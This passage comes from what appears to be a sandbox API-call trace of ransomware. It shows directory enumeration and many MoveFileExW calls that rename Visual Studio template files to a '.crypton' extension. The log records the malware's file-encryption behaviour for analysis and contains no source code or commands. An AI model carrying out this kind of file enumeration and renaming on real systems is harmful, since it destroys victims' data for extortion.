8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip.crypton"), dwFlags=0x2) returned 1 [0182.689] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip.crypton"), dwFlags=0x2) returned 1 [0182.693] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip.crypton"), dwFlags=0x2) returned 1 [0182.697] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip.crypton"), dwFlags=0x2) returned 1 [0182.703] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip.crypton"), dwFlags=0x2) returned 1 [0182.705] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip.crypton"), dwFlags=0x2) returned 1 [0182.708] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip.crypton"), dwFlags=0x2) returned 1 [0182.712] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip.crypton"), dwFlags=0x2) returned 1 [0182.716] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip.crypton"), dwFlags=0x2) returned 1 [0182.721] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip.crypton"), dwFlags=0x2) returned 1 [0182.724] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip.crypton"), dwFlags=0x2) returned 1 [0182.735] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip.crypton"), dwFlags=0x2) returned 1 [0182.740] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip.crypton"), dwFlags=0x2) returned 1 [0182.747] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip.crypton"), dwFlags=0x2) returned 1 [0182.751] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip.crypton"), dwFlags=0x2) returned 1 [0182.754] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip.crypton"), dwFlags=0x2) returned 1 [0182.759] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip.crypton"), dwFlags=0x2) returned 1 [0182.763] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip.crypton"), dwFlags=0x2) returned 1 [0182.767] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip.crypton"), dwFlags=0x2) returned 1 [0182.770] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip.crypton"), dwFlags=0x2) returned 1 [0182.780] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea4c9900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea4c9900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0182.787] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea4efa60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea4efa60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0182.789] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip.crypton"), dwFlags=0x2) returned 1 [0182.793] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip.crypton"), dwFlags=0x2) returned 1 [0182.796] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip.crypton"), dwFlags=0x2) returned 1 [0182.799] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip.crypton"), dwFlags=0x2) returned 1 [0182.803] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip.crypton"), dwFlags=0x2) returned 1 [0182.807] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip.crypton"), dwFlags=0x2) returned 1 [0182.821] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip.crypton"), dwFlags=0x2) returned 1 [0182.826] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip.crypton"), dwFlags=0x2) returned 1 [0182.851] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip.crypton"), dwFlags=0x2) returned 1 [0182.864] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip.crypton"), dwFlags=0x2) returned 1 [0182.867] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip.crypton"), dwFlags=0x2) returned 1 [0182.871] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip.crypton"), dwFlags=0x2) returned 1 [0182.875] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip.crypton"), dwFlags=0x2) returned 1 [0182.908] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip.crypton"), dwFlags=0x2) returned 1 [0182.912] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip.crypton"), dwFlags=0x2) returned 1 [0182.915] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip.crypton"), dwFlags=0x2) returned 1 [0182.921] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea6466c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea6466c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0182.926] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea6466c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea6466c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0182.930] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea6466c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea6466c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0182.935] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea6466c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea6466c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0182.940] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea66c820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea66c820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0182.944] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea66c820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea66c820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, 